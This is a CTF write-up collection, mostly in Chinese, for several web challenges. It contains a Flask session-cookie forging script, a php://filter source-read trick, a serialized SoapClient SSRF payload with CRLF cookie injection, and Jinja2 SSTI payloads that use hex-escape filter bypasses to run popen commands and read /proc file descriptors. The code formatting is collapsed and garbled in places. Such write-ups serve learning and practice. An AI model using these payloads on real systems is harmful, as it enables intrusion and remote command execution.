elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else: # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else: # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif(args.subcommand == 'encode'):if(args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif(args.subcommand == 'decode'):if(args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value,args.secret_key))elif(args.cookie_value is not None):print(FSCM.decode(args.cookie_value))
python flask_session.py encode -s '102.787116078' -t "{'username':b'fuck'}"
注:flask-unsign
我试了好几次,我自己搞不出来
[GXYCTF2019]BabysqliV3.0
用户名填其他的都显示no user,admin的话显示pass wrong。因该就是要搞出来密码
然后看了一圈没发现啥特别有用的提示,怀疑是弱密码
ok admin是账户 密码是password
进入:
file=php://filter/convert.base64-encode/resource=home
home.php
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){if(isset($_GET['file'])){if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){die("hacker!");}else{if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){$file = $_GET['file'].".php";}else{$file = $_GET['file'].".fxxkyou!";}echo "当前引用的是 ".$file;require $file;}}else{die("no permission!");}
}
?>
upload.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data">上传文件<input type="file" name="file" /><input type="submit" name="submit" value="上传" />
</form><?php
error_reporting(0);
class Uploader{public $Filename;public $cmd;public $token;function __construct(){$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";$ext = ".txt";@mkdir($sandbox, 0777, true);if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){$this->Filename = $_GET['name'];}else{$this->Filename = $sandbox.$_SESSION['user'].$ext;}$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";$this->token = $_SESSION['user'];}function upload($file){global $sandbox;global $ext;if(preg_match("[^a-z0-9]", $this->Filename)){$this->cmd = "die('illegal filename!');";}else{if($file['size'] > 1024){$this->cmd = "die('you are too big (′▽`〃)');";}else{$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";}}}function __toString(){global $sandbox;global $ext;// return $sandbox.$this->Filename.$ext;return $this->Filename;}function __destruct(){if($this->token != $_SESSION['user']){$this->cmd = "die('check token falied!');";}eval($this->cmd);}
}if(isset($_FILES['file'])) {$uploader = new Uploader();$uploader->upload($_FILES["file"]);if(@file_get_contents($uploader)){echo "下面是你上传的文件:<br>".$uploader."<br>";echo file_get_contents($uploader);}
}?>
随便上传一个文件:
沙箱是这么来的: $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$this->Filename = $sandbox.$_SESSION['user'].$ext;
ok
但是又有个
$uploader = new Uploader();
所以在echo $uploader的时候会直接调用_toString方法,
那我们直接让Filename=/var/www/html/flag.php就可以file_get_contents
bestphp's revenge
session反序列化
然后目录扫描到flag.php
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
要求有两个:本地127.0.0.1和flag=$flag
不是很会,参考文章
意思是访问者的IP地址要为127.0.0.1,如何为真则将flag的内容存储到SESSION[flag]中去,之后我们就可以通过携带正确的session去获得flag的value(vardump($_SESSION)--显示出flag的value),那么我们需要SSRF漏洞来实现.
那么我们需要SSRF那么就可以用SoapClient去实现,我们可以调用SoapClient类不存在的方法,从而调用它的_call方法,去实现对其内部定义的location地址的访问(自己访问自己).
首先我们要定义这个类并且控制其内容,之后调用一个它不存在的方法,同时注意要存在正确的session(通过CRLF漏洞实现),最后通过携带正确的session的value去获取该session所储存在服务器的key-value
脚本:
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",'uri' => "http://127.0.0.1/"));$se = serialize($b);
echo "|".urlencode($se);
但是这个脚本运行需要php.ini里的 php_soap.dll 前面的分号去掉
我ini里面没有找到这个?
只能先用其他人的payload了
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
然后:
通过变量覆盖,调用SoapClient类,从而触发__call 方法
传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF
最后改session:
[pasecactf_2019]flask_ssti
pid进程/fd读取os.remove
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5')
flask ssti
这里 ' . _ 被ban了,然后可以用16进制绕
__class__:\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
__base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f
__subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()}}
然后
{{class.bases[0].subclasses()[127].init.globals.["popen"]("ls").read()}}
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}
发现没有啥flag,推测在app.py中加密了
这个直接给ai跑就可以了,但是我们看到有个os.remove,也就是删除了/app/flag
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls /proc/self/fd")["read"]()}}
用get_data读
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
这里我用的payload不是从flask里读的,所以/proc/self指向的不是flask,所以我们可以先看看flask的进程是哪个
先看看pid:
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ps")["read"]()}}
然后就可以用cat 了
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("tac /proc/1/fd/3")["read"]()}}